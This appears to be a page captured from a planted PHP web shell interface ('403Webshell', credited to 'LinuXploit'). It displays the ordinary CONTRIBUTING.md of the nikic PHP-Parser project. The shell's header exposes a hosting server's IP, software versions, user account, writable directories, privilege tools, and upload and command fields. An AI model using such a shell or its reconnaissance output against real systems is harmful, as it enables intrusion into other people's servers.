403Webshell
Server IP : 77.50.203.18  /  Your IP : 192.168.0.10
Web Server : Apache/2.4.62 (CentOS Stream) OpenSSL/3.5.7 mpm-itk/2.4.7-04 PHP/8.4.23
System : Linux web2 5.14.0-722.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Mon Jul 6 09:07:51 UTC 2026 x86_64
User : warsnews.ru ( 1001)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/doc/php-nikic-php-parser5/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/doc/php-nikic-php-parser5/CONTRIBUTING.md
## Coding Style

This project uses PSR-12 with consistent brace placement. This means that the opening brace is
always on the same line, even for class and method declarations.

## Tools

This project uses PHP-CS-Fixer and PHPStan. You can invoke them using `make`:

```shell
make php-cs-fixer
make phpstan
```

## Adding support for new PHP syntax

1. If necessary, add emulation support for new tokens.
   * Add a new subclass of `Lexer\TokenEmulator`. Take inspiration from existing classes.
   * Add the new class to the array in `Lexer\Emulative`.
   * Add tests for the emulation in `Lexer\EmulativeTest`. You'll want to modify
     `provideTestReplaceKeywords()` for new reserved keywords and `provideTestLexNewFeatures()` for
     other emulations.
2. Add any new node classes that are needed.
3. Add support for the new syntax in `grammar/php.y`. Regenerate the parser by running
   `php grammar/rebuildParsers.php`. Use `--debug` if there are conflicts.
4. Add pretty-printing support by implementing a `pFooBar()` method in `PrettyPrinter\Standard`.
5. Add tests both in `test/code/parser` and `test/code/prettyPrinter`.
6. Add support for formatting-preserving pretty-printing. This is done by modifying the data tables
   at the end of `PrettyPrinterAbstract`. Add a test in `test/code/formatPreservation`.
7. Does the new syntax feature namespaced names? If so, add support for name resolution in
   `NodeVisitor\NameResolver`. Test it in `NodeVisitor\NameResolverTest`.
8. Does the new syntax require any changes to builders? Is so, make them :)

Youez - 2016 - github.com/yon3zu
LinuXploit